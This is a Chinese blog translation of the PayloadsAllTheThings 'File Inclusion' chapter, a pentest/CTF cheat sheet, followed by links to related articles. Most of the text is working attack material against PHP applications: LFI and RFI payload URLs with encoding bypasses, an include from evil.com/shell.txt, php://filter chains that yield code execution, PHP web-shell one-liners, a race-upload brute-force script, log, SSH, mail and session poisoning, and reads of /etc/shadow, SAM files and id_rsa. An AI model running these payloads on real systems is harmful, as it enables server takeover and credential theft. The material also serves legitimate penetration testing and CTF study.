【翻译】PayloadsAllTheThings——文件包含 （File Inclusion）

最新推荐文章于 2024-10-08 16:34:49 发布
最新推荐文章于 2024-10-08 16:34:49 发布
阅读量240 收藏
点赞数
分类专栏： PayloadAllTheThings翻译 文章标签： 安全 php web安全 网络安全
原文链接：https://github.com/swisskyrepo/PayloadsAllTheThings/
版权

【翻译】PayloadsAllTheThings——文件包含 （File Inclusion）

文件包含 （File Inclusion）

本文翻译自：swisskyrepo/PayloadsAllTheThings
在原文基础增加了未提到的利用方法。
github上该项目，同目录下有关文件包含的Intruder
2022-12-15 翻译第一版

文件包含漏洞允许攻击者包含一个文件，通常是利用目标应用中实现的“动态文件包含”机制。

路径穿越漏洞允许攻击者访问文件，通常是利用目标应用中实现的“读取”机制。

参考工具

Kadimus - https://github.com/P0cL4bs/Kadimus
LFISuite - https://github.com/D35m0nd142/LFISuite
fimap - https://github.com/kurobeats/fimap
panoptic - https://github.com/lightos/Panoptic

基础本地文件包含 （Basic LFI）

在下面的例子中，我们包含了/etc/passwd文件，阅读【翻译】PayloadsAllTheThings——目录遍历 （Directory Traversal）内容，以获得更多有趣的文件。

空字节 （Null byte）

在PHP 5.3.4以下的版本中，我们可以用空字节终止。

http://example.com/index.php?page=../../../etc/passwd%00

双重编码 （Double encoding）

http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

UTF-8编码 （UTF-8 encoding）

http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00

路径和点截断 （Path and dot truncation）

在大多数PHP版本中，超过4096字节的文件名将被截断，因此任何多余的字符都将被丢弃

http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE] 
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd

绕过过滤技巧 （Filter bypass tricks）

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///....//etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd

使用多级软链接绕过文件判断

通过使用多级软链接绕过文件判断，使得require_once可以多次包含同一个文件
如果软连接跳转的次数超过了某一个上限，Linux的lstat函数就会出错，导致PHP计算出的绝对路径就会包含一部分软连接的路径，也就和原始路径不相同的，即可绕过require_once限制。 在Linux下，最常见的软连接就是/proc/self/root，这个路径指向根目录。所以，我们可以多次使用这个路径：

<?php
require_once '/www/config.php';
include_once '/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/www/config.php';

基础远程文件包含 （Basic RFI）

大部分LFI绕过滤的方法也可应用在RFI上

http://example.com/index.php?page=http://evil.com/shell.txt

绕过allow_url_include （Bypass allow_url_include）

当allow_url_include和allow_url_fopen设置为Off时，仍可使用smb协议在Windows上包含远程文件。

  1. 创建一个共享开放给所有人
  2. 写恶意文件 : shell.php
  3. 包含它 http://example.com/index.php?page=\10.0.0.1\share\shell.php

使用包装器进行本地/远程文件包含 （LFI / RFI using wrappers）

php://filter 包装器

php://filter 这几个字母是可以不区分大小写的，可写成PhP://FilTer
有关PHP大小写敏感的问题可以参考这篇文章，虽然也不太全：https://blog.csdn.net/songkexin/article/details/6757779

常用过滤器大致分为四类：字符、转换、压缩、加密

  • string filter(字符过滤器)
    • string.rot13 (对字符串执行 ROT13 转换)
      • 例：php://filter/string.rot13/resource=flag.php
    • string.toupper (转大写)
      • 例：php://filter/string.toupper/resource=flag.php
    • string.tolower (转小写)
    • string.strip_tags (去除 HTML 和 PHP 标记，尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果)
      • 例：php://filter/string.strip_tags/resource=flag.php
  • conversion filter (转换过滤器)
    • convert.base64-encode & convert.base64-decode (base64加密 base64解密)
      • 例：php://filter/convert.base64-encode/resource=flag.php
        convert.quoted-printable-encode & convert.quoted-printable-decode(在字符串后加=0A,及恢复)
  • compression filter(压缩过滤)
    • zlib.deflate & zlib.inflate(压缩 解压)
      • 例：php://filter/zlib.deflate/resource=flag.php php://filter/zlib.inflate/resource=flag.php
    • bzip2.compress & bzip2.decompress(zip 压缩 解压)
  • encryption filter(加密过滤器)
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

Wrappers can be chained with a compression wrapper for large files.
对于大文件可以链式使用压缩包装器

http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

注意：包装器可以使用|或/进行多次链式使用
多次base64解码:php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s
如果碰到不能解析的过滤器时会自动跳过

也有种办法将php://filter变为RCE
synacktiv/php_filter_chain_generator：在命令行中生成PHP过滤器链

$ python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'
[+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

LFI2RCE.py 生成payload

# vulnerable file: index.php
# vulnerable parameter: file
# executed command: id
# executed PHP code: <?=`$_GET[0]`;;?>
curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"

zip:// 包装器

  1. 创建恶意文件echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
  2. 使用zip压缩文件
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
  1. 上传压缩文件并通过包装器进行访问：http://example.com/index.php?page=zip://shell.jpg%23payload.php

data:// 包装器

http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

你可以通过使用包装器http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+绕过CHrome审计并触发XSS

expect:// 包装器

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input:// 包装器

可以用一个简单的curl命令来完成在POST参数中指定有效负载。

curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v

或者使用Kadimus自动攻击

./kadimus -u "https://example.com/index.php?page=php://input%00"  -C '<?php echo shell_exec("id"); ?>' -T input

phar:// 包装器

创建一个在meta-data中包含序列化对象的phar文件

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();

具体可触发的利用点参考此篇博文：https://blog.csdn.net/unexpectedthing/article/details/122930867

通过包含/proc/*/fd进行RCE （LFI to RCE via /proc/*/fd）

  1. 上传大量shell （举个例子：100个）
  2. 包含http://example.com/index.php?page=/proc/$PID/fd/$FD，$PID和$FD都可暴力破解

通过包含/proc/self/environ进行RCE （LFI to RCE via /proc/self/environ）

像日志文件一样，在User-Agent中发送有效负载，它将反映在/proc/self/environ文件中

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

通过上传进行RCE （LFI to RCE via upload）

如果你可以上传一个文件，只需将shell有效负载注入其中(例如:<?php system($_GET['c']); ?>）

http://example.com/index.php?page=path/to/uploaded/file.png

为了保持文件的可读性，最好注入在图片/doc/pdf的元数据

通过竞争上传进行RCE （LFI to RCE via upload (race)）

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')

PHP_Session文件上传进行RCE

https://blog.csdn.net/soldi_er/article/details/117029481

通过Windows的FindFirstFile上传文件进行RCE （LFI to RCE via upload (FindFirstFile)）

只适用于Windows操作系统

FindFirstFile允许使用通配符(<< 当做 * ，> 当做 ?)在文件包含的路径中

  1. 上传一个文件，它应该存储在临时文件夹C:\Windows\Temp\
  2. 再去包含，http://site/vuln.php?inc=c:\windows\temp\php<<

通过phpinfo() 进行文件包含从而RCE （LFI to RCE via phpinfo()）

PHPinfo() 会展示许多变量的内容，其中就有$_GET, $_POST, $_FILES

通过对PHPInfo脚本进行多次上传，并仔细控制读取操作，可以检索临时文件的名称，并向指定临时文件名的LFI脚本发出请求。

可用脚本phpInfoLFI.py利用
有关研究：https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

通过包含可被控制的日志文件进行RCE （LFI to RCE via controlled log file）

只需通过向服务(Apache, SSH…)执行请求，将PHP代码追加到日志文件中，并包含日志文件。

http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log

通过ssh进行RCE （RCE via SSH）

尝试使用PHP代码<?php system($_GET["cmd"]);?>作为用户名ssh尝试连入

ssh <?php system($_GET["cmd"]);?>@10.10.10.10

然后在Web应用程序中包含SSH日志文件

http://example.com/index.php?page=/var/log/auth.log&cmd=id

通过SMTP进行RCE （RCE via Mail）

首先使用SMTP发送电子邮件，然后包含的日志文件
http://example.com/index.php?page=/var/log/mail

root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.

在某些情况，你也可以直接用命令行的mail命令进行邮件发送

mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null

通过Apache日志RCE （RCE via Apache logs）

污染UA或URL

curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"

注意：日志将转义双引号，因此在PHP有效负载中对字符串使用单引号
然后通过本地文件包含请求日志并执行您的命令。

curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id

通过包含PHP sessions进行RCE （LFI to RCE via PHP sessions）

查看网站是否使用php session

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

session会存储在/var/lib/php5/sess_[PHPSESSID] 或 /var/lib/php/session/sess_[PHPSESSID]

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

设置cookie为<?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

之后进行包含

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

通过包含凭证文件进行RCE （LFI to RCE via credentials files）

这种方法需要应用程序内部的高权限才能读取敏感文件。

Windows版本

先获取sam 和 system 文件，再破解

http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system

Linux版本

先获取/etc/shadow文件，再破解

http://example.com/index.php?page=../../../../../../etc/shadow

另一种方法是读取私钥文件id_rsa /<HOME>/.ssh/id_rsa

参考资料 （References）

OWASP LFI
HighOn.coffee LFI Cheat
Turning LFI to RFI
Is PHP vulnerable and under what conditions?
Upgrade from LFI to RCE via PHP Sessions
Local file inclusion tricks
CVV #1: Local File Inclusion - SI9INT
Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos
Baby^H Master PHP 2017 by @orangetw
Чтение файлов => unserialize !
New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse
It’s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas
CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018
Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction
PHP LFI with Nginx Assistance
PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - gynvael.coldwind - 2011-03-18
LFI2RCE via PHP Filters - HackTricks
Solving “includer’s revenge” from hxp ctf 2021 without controlling any files - @loknop
PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - 18/10/2022

档100_s
关注
专栏目录
DVWA系列（八）——使用Burpsuite进行File Inclusion（文件包含）
橘子女侠
05-07 1987
1. 文件包含（File Inclusion）漏洞简介 （1）文件包含 开发人员将相同的函数写入单独的文件中，需要使用某个函数时直接调用此文件，无需再次编写，这种文件调用的过程称文件包含； （2）文件包含漏洞 开发人员为了使代码更灵活，会将被包含的文件设置为变量，用来进行动态调用，从而导致客户端可以恶意调用一个恶意文件，造成文件包含漏洞；在PHP中经常出现文件包含漏洞； （3）p...
File Inclusion（文件包含）
kid的博客
04-16 3153
File Inclusion 前言 我觉得还是先介绍下，因为涉及到php函数，自己不会 世界最好的语言 ，所以引用他人的优秀的博客来装饰下我这简陋的博客 文件包含漏洞：即File Inclusion，意思是文件包含（漏洞），是指当服务器开启allow_url_include选项时，就可以通过php的某些特性函数（include()，require()和include_once()，require...
PayloadsAllTheThings：Web应用程序安全性和PentestCTF的有用负载和绕过列表
02-04
有效负载万物 Web应用程序安全性的有用负载和绕过列表。 随时改进您的有效负载和技术！ 一世 :red_heart: 拉请求:) 您也可以用 :clinking_beer_mugs: IRL，或使用赞助商按钮。 每个部分都包含以下文件，您可以使用_template_vuln文件夹创建新的章节： README.md-漏洞描述以及如何利用它，包括多个有效负载 入侵者-一组要提供给Burp入侵者的文件 图片-README.md的图片 文件-README.md中引用的某些文件 您可能还喜欢Methodology and Resources文件夹： 你想要更多 ？ 检查“和“ 选择。
探索Web安全的利器：Payloads All The Things
gitblog_00073的博客
06-07 346
探索Web安全的利器：Payloads All The Things 去发现同类优质开源项目:https://gitcode.com/ 项目简介 Payloads All The Things 是一个由@swisskyrepo维护的开源项目，它集合了大量有用的payload（有效载荷）和绕过策略，专为Web应用程序安全性测试而设计。这个项目旨在为安全研究员和渗透测试人员提供丰富的资源，帮助他们在实...
Payloads All The Things：Web应用安全的全方位攻击载荷库
gitblog_00869的博客
08-08 564
Payloads All The Things：Web应用安全的全方位攻击载荷库 PayloadsAllTheThingsA list of useful payloads and bypass for Web Application Security and Pentest/CTF项目地址:https://gitcode.com/gh_mirrors/pa/PayloadsAllTheThin...
payload
05-29 264
payload就是协议报文中的有效载荷所占报文的百分比，用报文中去除协议的长度/报文总长度，协议设计的时候需要考虑到有效载荷所占的比重，避免出现payload很小的情况，比如TCP在设计的时候，就考虑在发送报文过程中，增加了接收报文的确认，而不是单独发送一个确认，因为单独发送一个报文的payload太低，网络利用率不高。 作者：米如松链接：https://www.zhihu.com...
PayLoadAllTheThings-1:Web应用程序安全性和PentestCTF的有用负载和绕过列表
05-16
有效负载万物 Web应用程序安全性的有用负载和绕过列表。 随时改进您的有效负载和技术！ 我<3拉请求:) 每个部分都包含： README.md-漏洞描述以及如何利用它 入侵者-一组要提供给Burp入侵者的文件 一些漏洞 你可能还喜欢 ： 贝壳冲击 伤心欲绝 Apache Struts 2 工具 与Firefox Quantum不兼容 Wappalyzer Metasploit OpenVAS 在线挑战 砍箱子 根我 Zenk-Security W3Challs 新手竞赛 Vulnhub 隐密加密挑战 渗透测试实践实验室 提醒（1）获胜 朴素的 HackThisSite PentesterLab：学习Web渗透测试：正确的方法 Hackers.gg 错误赏金 黑客一号 BugCrowd 赏金工厂 赏金计划清单 码头工人 命令 关联 docker pull remnux
【翻译】PayloadsAllTheThings——目录遍历 （Directory Traversal）
shilela19990628的博客
12-14 693
目录和路径穿越存在于利用对用户提供的输入文件名缺乏安全验证/清扫，导致表示“遍历父目录”的字符被传递到文件api的情况。
Kali渗透测试之DVWA系列9——File Inclusion(文件包含)
浅浅的博客
06-14 2975
目录 一、文件包含 二、实验环境 三、实验步骤 Windows 安全等级：LOW 安全等级：Medium 安全等级：High 安全等级：Impossible Linux 安全等级：LOW 安全等级：Medium 安全等级：High 一、文件包含 1、文件包含原理 文件包含：开发人员将相同的函数写入单独的文...
Remote & Local File Inclusion (RFI/LFI)-文件包含漏洞
seanyang_的博客
10-26 394
文件包含攻击，是指攻击者利用文件包含函数的参数引入文件，而Web应用又没有对该参数进行严格的过滤，导致引入文件中的恶意脚本或代码被解析、执行，攻击者获取服务器信息，甚至获取服务器权限。在PHP开发的Web应用中，脚本、图片、文本文档等被文件包含后，都会作为PHP脚本来解析。
File Inclusion(文件包含)
raynah的博客
06-30 446
File Inclusion(文件包含漏洞)概述 文件包含，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。 比如 在PHP中，提供了： include(),include_once() require(),require_once() 这些文件包含函数，这些函数在代码设计中被经常使用到。 大多数情况下，文件包含函数中包含的代码文件是固定的，因此也不会出现安全问题。 但是，有些时候，文...
BurpSuite_payloads:与Burp Suite入侵者一起使用的有效载荷。 （最初在swisskeyrepo-PayloadsAllTheThings上找到）
04-15
BurpSuite_payloads 与Burp Suite入侵者一起使用的有效载荷（最初在swisskeyrepo-PayloadsAllTheThings上找到） 要在命令行中解压缩文件，请执行以下操作： tar xjf PayloadsAllTheThings.tar.bz2 -or- tar -xvjf PayloadsAllTheThings.tar.bz2 包括在有效载荷中： API密钥泄漏AWS Amazon Bucket S3 CORS配置错误CRLF注射CSRF注射CSV注入命令注入目录遍历文件包含GraphQL注射不安全的反序列化不安全的直接对象引用管理界面不安全不安全的源代码管理JSON Web令牌Kubernetes LDAP注入乳胶注射方法与资源NoSQL注入OAuth 打开重定向比赛条件SAML注入SQL注入服务器端请求伪造服务器端模板注入类型杂耍上载不
【翻译】PayloadsAllTheThings——命令注入 （Command Injection）
shilela19990628的博客
12-13 356
本文翻译自：swisskyrepo/PayloadsAllTheThings 在原文基础增加了未提到的利用方法。
【翻译】PayloadsAllTheThings——JWT （JWT - JSON Web Token）
shilela19990628的博客
12-19 283
JSON Web Token (JWT)是一个开放标准(RFC 7519)，它定义了一种紧凑且自包含的方式，用于作为JSON对象在各方之间安全地传输信息。此信息是可以验证和信任的，因为它是数字签名的。
PayloadsAllTheThings：Web安全测试者的宝藏库
gitblog_00046的博客
03-19 430
#PayloadsAllTheThings：Web安全测试者的宝藏库 PayloadsAllTheThingsA list of useful payloads and bypass for Web Application Security and Pentest/CTF项目地址:https://gitcode.com/gh_mirrors/pa/PayloadsAllTheThings 是一个...
PayloadsAllTheThings使用教程
gitblog_01005的博客
08-08 651
